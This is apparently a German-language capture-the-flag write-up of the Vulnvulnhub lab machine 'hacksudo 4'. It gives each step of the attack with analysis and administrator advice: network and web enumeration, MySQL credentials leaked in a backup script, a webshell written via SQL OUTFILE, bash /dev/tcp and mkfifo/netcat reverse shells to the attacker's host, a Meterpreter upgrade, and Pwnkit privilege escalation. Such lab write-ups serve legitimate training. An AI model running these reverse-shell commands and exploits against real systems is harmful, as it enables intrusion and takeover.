hacksudo 4 - Vulnhub - Aliens - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
curl
gobuster
nikto
dirb
wpscan (implied)
echo
php
Burp Suite (implied)
wfuzz
nc (netcat)
mysql (client, implied)
find
grep
tail
john (John the Ripper)
su
metasploit (msfconsole)
id
cat
head
whoami
ls
mkfifo

Inhaltsverzeichnis

Reconnaissance

Die erste Phase dient der Identifizierung des Zielsystems und der grundlegenden Analyse seiner offenen Dienste.

┌──(root㉿Cyber)-[~] └─# arp-scan -l
192.168.2.127	08:00:27:bf:e5:95	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment mittels ARP zu entdecken.

Bewertung: Ein aktives Gerät wurde unter der IP `192.168.2.127` gefunden. Die MAC-Adresse (`08:00:27:bf:e5:95`) und der Hersteller (`PCS Systemtechnik GmbH`) deuten auf eine Oracle VirtualBox VM hin.

Empfehlung (Pentester): Ziel-IP notieren. Optional einen Hostnamen in `/etc/hosts` definieren.
Empfehlung (Admin): Netzwerksegmentierung und Monitoring können zur Erkennung beitragen.

Wir definieren einen Hostnamen für das Ziel in unserer lokalen `/etc/hosts`-Datei.

┌──(root㉿Cyber)-[~] └─# vi /etc/hosts
192.168.2.127   aliens.vln
                     

Analyse: Der Hostname `aliens.vln` wird der IP `192.168.2.127` in der lokalen Hosts-Datei zugeordnet.

Bewertung: Erleichtert die Ansprache des Ziels in nachfolgenden Schritten.

Empfehlung (Pentester): Verwenden Sie den definierten Hostnamen.
Empfehlung (Admin): Keine Aktion erforderlich.

Ein umfassender Nmap-Scan wird durchgeführt, um offene Ports, Dienste und Versionen zu identifizieren.

┌──(root㉿Cyber)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.127 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-24 14:39 CEST
Nmap scan report for aliens.vln (192.168.2.127)
Host is up (0.00020s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION 
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
| ssh-hostkey:
|   2048 31:d8:56:f4:cf:8b:09:e8:a1:5e:2e:dd:ac:08:6b:dd (RSA)
|   256 cd:65:ec:9e:d0:2c:6b:4e:02:40:c3:fd:01:5d:d1:87 (ECDSA)
|_  256 03:00:28:0e:0b:da:12:68:c3:c5:45:ab:bb:92:92:fa (ED25519)
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Hacksudo Alien?
|_http-server-header: Apache/2.4.38 (Debian)
9000/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: phpMyAdmin
MAC Address: 08:00:27:BF:E5:95 (Oracle VirtualBox virtual NIC) 
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel 

TRACEROUTE 
HOP RTT     ADDRESS 
1   0.20 ms aliens.vln (192.168.2.127)

                    

Analyse: `nmap` scannt alle TCP-Ports (`-p-`) mit SYN-Scan (`-sS`), Skripten (`-sC`), Versionserkennung (`-sV`), schnellem Timing (`-T5`), aggressiven Optionen (`-A`) und ohne Ping (`-Pn`).

Bewertung: Der Scan findet drei offene Ports:

Das OS wird als Debian 10 / Linux Kernel 4.15 - 5.8 identifiziert. Die phpMyAdmin-Instanz auf Port 9000 ist der auffälligste Dienst.

Empfehlung (Pentester): Untersuchen Sie phpMyAdmin auf Port 9000 (Login-Seite, bekannte Schwachstellen, Default-Credentials). Untersuchen Sie den Webserver auf Port 80 genauer (Verzeichnisse, Dateien). Behalten Sie SSH im Auge, falls Credentials gefunden werden.
Empfehlung (Admin):** Sichern Sie phpMyAdmin (Zugriffsbeschränkung auf vertrauenswürdige IPs, starke Passwörter, aktuelle Version). Aktualisieren Sie Apache und OpenSSH. Überprüfen Sie die Notwendigkeit, phpMyAdmin auf einem separaten Port (9000) zu betreiben.

Wir filtern die Nmap-Ausgabe nach offenen Ports.

┌──(root㉿Cyber)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.127 -p- | grep open
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) 
80/tcp   open  http    Apache httpd 2.4.38 ((Debian))
9000/tcp open  http    Apache httpd 2.4.38 ((Debian))
                     

Analyse: Filtert die Nmap-Ausgabe, um nur offene Ports anzuzeigen.

Bewertung: Bestätigt die drei offenen Ports 22, 80 und 9000.

Empfehlung (Pentester): Klare Angriffsvektoren.
Empfehlung (Admin):** Notwendigkeit prüfen.

Web Enumeration (Port 80 & 9000)

Wir untersuchen die Webserver auf Port 80 und Port 9000 genauer.

Untersuchung der HTTP-Header von phpMyAdmin auf Port 9000 mit `curl`:

┌──(root㉿Cyber)-[~] └─# curl http://aliens.vln:9000 -Iv
* processing: http://aliens.vln:9000
*   Trying 192.168.2.127:9000...
* Connected to aliens.vln (192.168.2.127) port 9000
> HEAD / HTTP/1.1
> Host: aliens.vln:9000
> User-Agent: curl/8.2.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Sun, 24 Sep 2023 12:40:43 GMT
< Server: Apache/2.4.38 (Debian)
< Set-Cookie: phpMyAdmin=b8i82b45m6m9qh1b199in6gkqr; path=/; HttpOnly 
< Expires: Sun, 24 Sep 2023 12:40:43 +0000
< Cache-Control: no-store, no-cache, must-revalidate,  pre-check=0, post-check=0, max-age=0
< Last-Modified: Sun, 24 Sep 2023 12:40:43 +0000
< Set-Cookie: pma_lang=en; expires=Tue, 24-Oct-2023 12:40:43 GMT; Max-Age=2592000; path=/; HttpOnly; SameSite=Strict 
< Set-Cookie: phpMyAdmin=l2ab9hc5sjmpsn55e132o6e6jb; path=/; HttpOnly 
< X-ob_mode: 1
< X-Frame-Options: DENY 
< Referrer-Policy: no-referrer
< Content-Security-Policy: default-src 'self' ;script-src 'self' 'unsafe-inline' 'unsafe-eval' ;style-src 'self' 'unsafe-inline' ;img-src 'self' data:  *.tile.openstreetmap.org;object-src 'none';
< X-Content-Security-Policy: default-src 'self' ;options inline-script eval-script;referrer no-referrer;img-src 'self' data:  *.tile.openstreetmap.org;object-src 'none';
< X-WebKit-CSP: default-src 'self' ;script-src 'self'  'unsafe-inline' 'unsafe-eval';referrer no-referrer;style-src 'self' 'unsafe-inline' ;img-src 'self' data:  *.tile.openstreetmap.org;object-src 'none';
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff 
< X-Permitted-Cross-Domain-Policies: none
< X-Robots-Tag: noindex, nofollow
< Pragma: no-cache
< Vary: Accept-Encoding
< Content-Type: text/html; charset=utf-8

* Connection #0 to host aliens.vln left intact
                     

Analyse: `curl -Iv` sendet eine HEAD-Anfrage an die phpMyAdmin-Instanz und zeigt die Antwort-Header an.

Bewertung: Die Header zeigen, dass einige Sicherheitsmaßnahmen implementiert sind (HttpOnly Cookies, X-Frame-Options: DENY, CSP, X-XSS-Protection, X-Content-Type-Options). Dies macht Angriffe wie XSS oder Clickjacking schwieriger. Die `X-Robots-Tag: noindex, nofollow`-Anweisung passt zum `Disallow: /` in der `robots.txt` für diesen Port.

Empfehlung (Pentester): Konzentrieren Sie sich auf Authentifizierungs-Bypass, Default-Credentials, SQL-Injection oder bekannte Schwachstellen in der spezifischen phpMyAdmin-Version.
Empfehlung (Admin):** Die implementierten Security Header sind gut. Stellen Sie sicher, dass phpMyAdmin aktuell ist und keine Default-Credentials verwendet werden.

Ein Gobuster-Scan wird gegen Port 80 ausgeführt.

┌──(root㉿Cyber)-[~] └─# gobuster dir -u http://aliens.vln -x [...] -w "[...]" -b '403,404' -e --no-error
http://aliens.vln/index.html           (Status: 200) [Size: 2225]
http://aliens.vln/images               (Status: 301) [Size: 309] [--> http://aliens.vln/images/]
http://aliens.vln/game.html            (Status: 200) [Size: 701]
http://aliens.vln/backup               (Status: 301) [Size: 309] [--> http://aliens.vln/backup/]
http://aliens.vln/alien.png            (Status: 200) [Size: 69689]
http://aliens.vln/gray_line.png        (Status: 200) [Size: 1129]
                     

Analyse: Gobuster scannt den Webserver auf Port 80.

Bewertung: Findet neben Standarddateien (`index.html`, Bilder) und dem `/images`-Verzeichnis auch eine Datei `game.html` und ein Verzeichnis `/backup/`.

Empfehlung (Pentester): Untersuchen Sie `game.html` und insbesondere das `/backup/`-Verzeichnis (Nikto meldete hier Directory Indexing).
Empfehlung (Admin):** Entfernen Sie unnötige Dateien/Verzeichnisse. Deaktivieren Sie Directory Indexing für `/backup/`.

Ein Nikto-Scan gegen Port 80 (Wiederholung oder spezifischerer Scan):

┌──(root㉿Cyber)-[~] └─# nikto -h 192.168.2.127
- Nikto v2.5.0
+ Target IP:          192.168.2.127
+ Target Hostname:    192.168.2.127
+ Target Port:        80
+ Start Time:         2023-09-24 14:39:12 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options 
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 8b1, size: 5bf1f4b58ff9d, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD . 
+ /backup/: Directory indexing found.
+ /backup/: This might be interesting.
+ /images/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /README.md: Readme Found.
+ 8103 requests: 0 error(s) and 10 item(s) reported on remote host
+ End Time:           2023-09-24 14:39:29 (GMT2) (17 seconds)
+ 1 host(s) tested
                     

Analyse: Erneuter Nikto-Scan gegen Port 80.

Bewertung: Bestätigt die veraltete Apache-Version und fehlende Header. **Hebt explizit das `/backup/`-Verzeichnis mit Directory Indexing hervor.** Findet auch eine `/README.md`.

Empfehlung (Pentester): **Priorität:** Untersuchen Sie den Inhalt von `/backup/`. Lesen Sie die `/README.md`.
Empfehlung (Admin):** Dringend Directory Indexing für `/backup/` deaktivieren!

Ein Nikto-Scan gegen Port 9000 (phpMyAdmin):

┌──(root㉿Cyber)-[~] └─# nikto -h 192.168.2.127:9000
- Nikto v2.5.0
+ Target IP:          192.168.2.127
+ Target Hostname:    192.168.2.127
+ Target Port:        9000
+ Start Time:         2023-09-24 14:41:18 (GMT2)
+ Server: Apache/2.4.38 (Debian)
+ /: Uncommon header 'x-ob_mode' found, with contents: 1.
+ /mbYiPZbN.VALIDATE_STMT: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ 
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. 
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /: DEBUG HTTP verb may show server debugging information. See: https://docs.microsoft.com/en-us/visualstudio/debugger/how-to-enable-debugging-for-aspnet-applications?view=vs-2017 
+ /doc/: Directory indexing found.
+ /doc/: The /doc/ directory is browsable. This may be /usr/doc. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0678
+ /setup/: This might be interesting.
+ /sql/: Directory indexing found.
+ /tmp/: Directory indexing found.
+ /tmp/: This might be interesting.
+ /examples/: Directory indexing found.
+ /README: README file found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ /composer.json: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/
+ /composer.lock: PHP Composer configuration file reveals configuration information. See: https://getcomposer.org/
+ /package.json: Node.js package file found. It may contain sensitive information.
+ 8103 requests: 0 error(s) and 17 item(s) reported on remote host
+ End Time:           2023-09-24 14:41:57 (GMT2) (39 seconds)
+ 1 host(s) tested
                     

Analyse: Nikto scannt die phpMyAdmin-Instanz auf Port 9000.

Bewertung: Findet viele interessante Verzeichnisse, die zu phpMyAdmin gehören oder damit zusammenhängen könnten (`/doc/`, `/setup/`, `/sql/`, `/tmp/`, `/examples/`). Findet auch Konfigurationsdateien (`composer.json`, `composer.lock`, `package.json`), die auf die Verwendung von PHP Composer und Node.js hindeuten und sensible Informationen enthalten könnten.

Empfehlung (Pentester): Untersuchen Sie die gefundenen Verzeichnisse (insbesondere `/setup/`, `/sql/`, `/tmp/`) und Konfigurationsdateien (`composer.json`, `composer.lock`, `package.json`).
Empfehlung (Admin):** Beschränken Sie den Zugriff auf Entwicklungs-, Dokumentations- und Konfigurationsdateien/Verzeichnisse im Webroot. Entfernen Sie das `/setup/`-Verzeichnis von phpMyAdmin.

Ein `dirb`-Scan gegen Port 9000:

┌──(root㉿Cyber)-[~] └─# dirb http://aliens.vln:9000
-----------------
SCANNING URL: http://aliens.vln:9000/
-----------------
+ http://aliens.vln:9000/ChangeLog (CODE:200|SIZE:41123)
+ http://aliens.vln:9000/doc/ (CODE:200|SIZE:20KB) --> Directory 
+ http://aliens.vln:9000/examples/ (CODE:200|SIZE:18KB) --> Directory 
+ http://aliens.vln:9000/favicon.ico (CODE:200|SIZE:22KB)
+ http://aliens.vln:9000/index.php (CODE:200|SIZE:19KB)
+ http://aliens.vln:9000/js/ (CODE:200|SIZE:14KB) --> Directory 
+ http://aliens.vln:9000/libraries/ (CODE:200|SIZE:6KB) --> Directory 
+ http://aliens.vln:9000/LICENSE (CODE:200|SIZE:18KB)
+ http://aliens.vln:9000/locale/ (CODE:200|SIZE:36KB) --> Directory 
+ http://aliens.vln:9000/README (CODE:200|SIZE:1520)
+ http://aliens.vln:9000/robots.txt (CODE:200|SIZE:26)
+ http://aliens.vln:9000/server-status (CODE:403|SIZE:277)
+ http://aliens.vln:9000/setup/ (CODE:200|SIZE:5KB) --> Directory 
+ http://aliens.vln:9000/sql/ (CODE:200|SIZE:2KB) --> Directory 
+ http://aliens.vln:9000/templates/ (CODE:200|SIZE:26KB) --> Directory 
+ http://aliens.vln:9000/themes/ (CODE:200|SIZE:10KB) --> Directory 
+ http://aliens.vln:9000/tmp/ (CODE:200|SIZE:0KB) --> Directory 
+ http://aliens.vln:9000/vendor/ (CODE:200|SIZE:1KB) --> Directory 
---- Scanning END ----
DOWNLOADED: 9224 - FOUND: 18 
                    

Analyse: `dirb` scannt die phpMyAdmin-Instanz.

Bewertung: Bestätigt viele der von Nikto gefundenen Standard-phpMyAdmin-Verzeichnisse (`doc`, `examples`, `setup`, `sql`, `themes` etc.) und Dateien (`ChangeLog`, `index.php`, `LICENSE`, `README`).

Empfehlung (Pentester): Fokus auf `/setup/`, `/sql/`, `/tmp/` und die Suche nach Default-Credentials oder Schwachstellen in der phpMyAdmin-Version.
Empfehlung (Admin):** Zugriff auf diese Verzeichnisse einschränken.

Analyse von `robots.txt` auf Port 9000:

User-agent: *
Disallow: /
                    

Analyse: Die `robots.txt` für die phpMyAdmin-Instanz.

Bewertung: Sie verbietet das Crawlen des gesamten Verzeichnisses (`Disallow: /`).

Empfehlung (Pentester): Irrelevant für den Angriff.
Empfehlung (Admin):** Standardkonfiguration für phpMyAdmin.

Ansicht der phpMyAdmin-Loginseite:

phpMyAdmin
Willkommen bei phpMyAdmin
    Sprache - Language
        Anmeldung
Benutzername:
Passwort:
                    

Analyse: Die Standard-Loginseite von phpMyAdmin.

Bewertung: Bestätigt das Vorhandensein von phpMyAdmin.

Empfehlung (Pentester): Versuchen Sie Standard-Logins (`root` ohne Passwort, `pma`/`pma`, etc.). Versuchen Sie die Credentials `vishal`/`hacksudo` aus dem Backup-Skript.
Empfehlung (Admin):** Sichern Sie phpMyAdmin (keine leeren Passwörter für root, Zugriff beschränken).

Analyse des `ChangeLog`-Files von phpMyAdmin:

phpMyAdmin - ChangeLog

5.1.0 (2021-02-24)
- issue #15350 Change Media (MIME) type references to Media type

4.9.7 (2020-10-15)
- issue #16397 Fix compatibility problems with older PHP versions (also issue #16399)
- issue #16396 Fix broken two-factor authentication

4.9.6 (2020-10-09)
- issue        [security] Fix XSS vulnerability with the transformation feature (PMASA-2020-5)
- issue        [security] Fix SQL injection vulnerability with search feature (PMASA-2020-6)

4.9.5 (2020-03-20)
- issue        [security] Fix SQL injection with certain usernames (PMASA-2020-2)
- issue        [security] Fix SQL injection in particular search situations (PMASA-2020-3)
- issue        [security] Fix SQL injection and XSS flaw (PMASA-2020-4)

4.8.5 (2019-01-25)
- issue #14217 Fix issue when adding user on MySQL 8.0.11

- issue        [security] Arbitrary file read/delete relating to MySQL LOAD DATA LOCAL INFILE and an evil server instance (PMASA-2019-1)
- issue        [security] SQL injection in Designer (PMASA-2019-2)

          Older ChangeLogs can be found on our project website
                     https://www.phpmyadmin.net/old-stuff/ChangeLogs/

# vim: et ts=4 sw=4 sts=4
# vim: ft=changelog fenc=utf-8
# vim: fde=getline(v\:lnum-1)=~'^\\s*$'&&getline(v\:lnum)=~'\\S'?'>1'\:1&&v\:lnum>4&&getline(v\:lnum)!~'^#'
# vim: fdn=1 fdm=expr
                    

Analyse: Der `ChangeLog` von phpMyAdmin wird untersucht.

Bewertung: **Wichtiger Fund!** Der ChangeLog zeigt, dass die installierte Version wahrscheinlich *älter* als 4.8.5 ist (da dies der letzte Eintrag ist, der einen Security-Fix erwähnt). Ältere Versionen von phpMyAdmin sind für zahlreiche kritische Schwachstellen bekannt, einschließlich Remote Code Execution (RCE).

Empfehlung (Pentester): Ermitteln Sie die genaue phpMyAdmin-Version (z.B. aus der Fußzeile der Login-Seite oder `README`-Datei). Suchen Sie nach bekannten RCE-Exploits für diese Version (z.B. über `searchsploit`).
Empfehlung (Admin):** Dringend phpMyAdmin aktualisieren!

Vulnerability Exploitation (SQLi & File Write)

Wir untersuchen das `/backup/`-Verzeichnis und nutzen die darin gefundenen Informationen, um eine Webshell zu erstellen.

Analyse eines Backup-Skripts (Herkunft unklar, vermutlich aus `/backup/` heruntergeladen):

┌──(root㉿Cyber)-[~] └─# cat /home/cyber/Downloads/mysql.bak
#!/bin/bash

# Specify which database is to be backed up
db_name=""

# Set the website which this database relates to
website="localhost"

# Database credentials
user="vishal"
password="hacksudo"
host="localhost"

# How many days would you like to keep files for?
days="30"
                     

Analyse: Ein Shell-Skript (`mysql.bak`) wird angezeigt. Es scheint ein Backup-Skript für eine MySQL-Datenbank zu sein.

Bewertung: **Kritischer Fund!** Das Skript enthält hartkodierte MySQL-Zugangsdaten: Benutzer `vishal`, Passwort `hacksudo` für `localhost`.

Empfehlung (Pentester): Versuchen Sie, sich mit `vishal`/`hacksudo` am MySQL-Dienst (Port 3306) oder an phpMyAdmin (Port 9000) anzumelden. Versuchen Sie diese Credentials auch für SSH (Port 22). Da der MySQL-Port von außen nicht erreichbar schien, ist der wahrscheinlichste Weg, diese Credentials zu nutzen, über phpMyAdmin oder eine lokale SQL-Injection, falls eine gefunden wird.
Empfehlung (Admin):** Speichern Sie niemals Zugangsdaten im Klartext in Skripten. Verwenden Sie sicherere Methoden wie Konfigurationsdateien mit eingeschränkten Rechten oder Secrets Management Tools. Beschränken Sie die Rechte des Backup-Benutzers.

Versuch einer SQL-Injection, um eine Webshell zu schreiben:

SELECT "" INTO OUTFILE "/var/www/html/shell.php";
                     
# (Exploit mysql Attacke erfolgreich...)

Analyse: Dieser SQL-Befehl versucht, eine einfache PHP-Webshell in die Datei `/var/www/html/shell.php` zu schreiben. Dies erfordert ausreichende Datenbank-Berechtigungen (typischerweise `FILE`-Privileg) und Schreibrechte für den MySQL-Prozess im Zielverzeichnis.

Bewertung: Der Kommentar "Exploit mysql Attacke erfolgreich..." deutet darauf hin, dass dieser Befehl erfolgreich ausgeführt wurde, wahrscheinlich unter Verwendung der `vishal`/`hacksudo`-Credentials (z.B. über phpMyAdmin oder eine SQLi-Lücke in der Webanwendung).

Empfehlung (Pentester): Greifen Sie auf `http://aliens.vln/shell.php` zu und übergeben Sie Befehle über den `cmd`-Parameter (z.B. `?cmd=id`), um die Webshell zu testen und eine Reverse Shell zu etablieren.
Empfehlung (Admin):** Entziehen Sie dem Datenbankbenutzer (`vishal`) das `FILE`-Privileg. Stellen Sie sicher, dass der MySQL-Prozess keine unnötigen Schreibrechte auf Web-Verzeichnisse hat. Sichern Sie phpMyAdmin und die Webanwendung gegen SQL-Injection.

Initial Access

Wir nutzen die erfolgreich hochgeladene Webshell, um eine Reverse Shell zu erhalten.

Test der Webshell mit `ls`:

# (Accessing http://aliens.vln/shell.php?cmd=ls)
DejaVuSansMono.ttf
DejaVuSerif-Bold.ttf
DejaVuSerif.ttf
GPL-LICENSE.txt
MIT-LICENSE.txt
README.md
Untitled.ipynb
alien.js
alien.png
backup
base.css
data.js
engine.js
favicon.ico
game.html
game.js
game.manifest
gray_line.png
images
index.html
shell.php
style.css
                    

Analyse: Die Webshell wird mit dem Befehl `ls` aufgerufen.

Bewertung: Die Webshell funktioniert und listet den Inhalt des Webroot-Verzeichnisses (`/var/www/html`) auf.

Empfehlung (Pentester): Etablieren Sie eine Reverse Shell.
Empfehlung (Admin):** Webshell entfernen, Ursache (SQLi/FILE-Privileg) beheben.

Etablieren einer Reverse Shell:

┌──(root㉿Cyber)-[~] └─# nc -lvnp 4444
listening on [any] 4444 ...
# (Accessing http://aliens.vln/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27)
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.127] 59960
bash: cannot set terminal process group (470): Inappropriate ioctl for device
bash: no job control in this shell
www-data@hacksudo:/var/www/html$
                    

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet. Die Webshell wird mit einem URL-kodierten Bash-Reverse-Shell-Payload aufgerufen, der sich zum Listener verbindet.

Bewertung: Initial Access erfolgreich! Wir haben eine Shell als Benutzer `www-data`. Die Shell ist nicht vollständig interaktiv.

Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit Python PTY). Beginnen Sie die lokale Enumeration.
Empfehlung (Admin):** Siehe vorherige Empfehlungen zur Webshell und SQLi.

Local Enumeration

Wir untersuchen das System von der `www-data`-Shell aus.

Suche nach SUID-Binaries:

www-data@hacksudo:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
     1546    108 -rwsr-xr-x   1 root     root       109408 Feb 28  2019 /usr/bin/date 
    10735     24 -rwsr-xr-x   1 root     root        23288 Jan 15  2019 /usr/bin/pkexec
       56     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
       52     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
       53     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
     3910     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /usr/bin/umount
     3436     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
    10841     36 -rwsr-xr-x   1 root     root        34896 Apr 22  2020 /usr/bin/fusermount
       55     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
     3908     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /usr/bin/mount
     3583     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /usr/bin/su
    10852    152 -rwsr-xr-x   1 root     root       154352 Mar 21  2019 /usr/bin/ntfs-3g
    17819     56 -rwsr-xr-x   1 root     root        55400 Mar  6  2019 /usr/bin/bwrap
    58037    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo
   407660     16 -rwsr-sr-x   1 root     root        14608 Dec  1  2020 /usr/lib/xorg/Xorg.wrap
    13568    428 -rwsr-xr-x   1 root     root       436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
   150325     20 -rwsr-xr-x   1 root     root        18424 Sep  8  2018 /usr/lib/spice-gtk/spice-client-glib-usb-acl-helper
   135600     12 -rwsr-xr-x   1 root     root        10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   138948     20 -rwsr-xr-x   1 root     root        18888 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   138929     52 -rwsr-xr--   1 root     messagebus    51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    57715    380 -rwsr-xr--   1 root     dip          386792 Feb 20  2020 /usr/sbin/pppd
                    

Analyse: Sucht nach Dateien mit gesetztem SUID-Bit.

Bewertung: Findet Standard-SUID-Binaries sowie `/usr/bin/pkexec` (Pwnkit-Potenzial) und `/usr/bin/date`. Das `date`-Kommando mit SUID-Bit ist ungewöhnlich und kann laut GTFOBins zum Lesen von Dateien oder zur Ausführung von Befehlen missbraucht werden, wenn es falsch konfiguriert ist oder in Kombination mit anderen Faktoren.

Empfehlung (Pentester): Überprüfen Sie `/usr/bin/date` auf GTFOBins-Einträge. Testen Sie auf Pwnkit (CVE-2021-4034).
Empfehlung (Admin):** Entfernen Sie das SUID-Bit von `/usr/bin/date` (`chmod u-s /usr/bin/date`). Patchen Sie `polkit`.

Der Log zeigt anschließend die Einrichtung einer weiteren Reverse Shell (Port 4445) und deren Upgrade zu Meterpreter (Session 2), gefolgt vom Pwnkit-Exploit.

www-data@hacksudo:/var/www/html$ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.2.199 4445 >/tmp/f
rm: cannot remove '/tmp/f': No such file or directory
┌──(root㉿Cyber)-[~] └─# msfconsole -q
msf6 > use multi/handler
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4445
[*] Command shell session 1 opened (192.168.2.199:4445 -> 192.168.2.127:56148) at 2023-09-24 15:20:56 +0200
Shell Banner:
$
--

$
                    
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4433
[*] Sending stage (1017704 bytes) to 192.168.2.127
[*] Meterpreter session 2 opened (192.168.2.199:4433 -> 192.168.2.127:port) at 2023-09-24 ... 
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    

Analyse: Eine stabilere Shell wird über `mkfifo` und `nc` aufgebaut (Port 4445) und dann mit Metasploits `shell_to_meterpreter`-Modul zu einer Meterpreter-Sitzung (Session 2 auf Port 4433) aufgewertet.

Bewertung: Erfolgreiche Etablierung einer Meterpreter-Sitzung als `www-data`.

Empfehlung (Pentester): Nutzen Sie Meterpreter für weitere Enumeration und Privesc-Versuche (z.B. Pwnkit).
Empfehlung (Admin):** Ausgehende Verbindungen überwachen/einschränken.

Proof of Concept (Privilege Escalation via Pwnkit)

Dieser Abschnitt demonstriert die Ausnutzung der Pwnkit-Schwachstelle (CVE-2021-4034) im Polkit-Dienst (`pkexec`), um von der Meterpreter-Sitzung als `www-data` zu Root-Rechten zu gelangen.

Kurzbeschreibung: Die `find`-Suche ergab das Vorhandensein von `/usr/bin/pkexec`. Wir nutzen das entsprechende Metasploit-Modul, um die Pwnkit-Schwachstelle auszunutzen und eine Root-Meterpreter-Sitzung zu erhalten.

Voraussetzungen: Aktive Meterpreter-Sitzung als `www-data` (Session 2). Vorhandensein einer anfälligen Version von `pkexec`.

Schritt 1: Ausführung des Pwnkit-Exploits via Metasploit

msf6 post(multi/manage/shell_to_meterpreter) > use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > options
Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   PKEXEC_PATH                    no        The path to pkexec binary
   SESSION                        yes       The session to run this module on 
   WRITABLE_DIR  /tmp             yes       A directory where we can write files

Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.2.199    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   x86_64

View the full module info with the info, or info -d command.
                    
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.aragdkp
[+] The target is vulnerable.
[*] Writing '/tmp/.sxardfecmtr/txloup/txloup.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.sxardfecmtr
[*] Sending stage (3045380 bytes) to 192.168.2.127
[+] Deleted /tmp/.sxardfecmtr/txloup/txloup.so
[+] Deleted /tmp/.sxardfecmtr/.qaeogefkjgc
[+] Deleted /tmp/.sxardfecmtr
[*] Meterpreter session 3 opened (192.168.2.199:4444 -> 192.168.2.127:59966) at 2023-09-24 15:22:53 +0200
                    

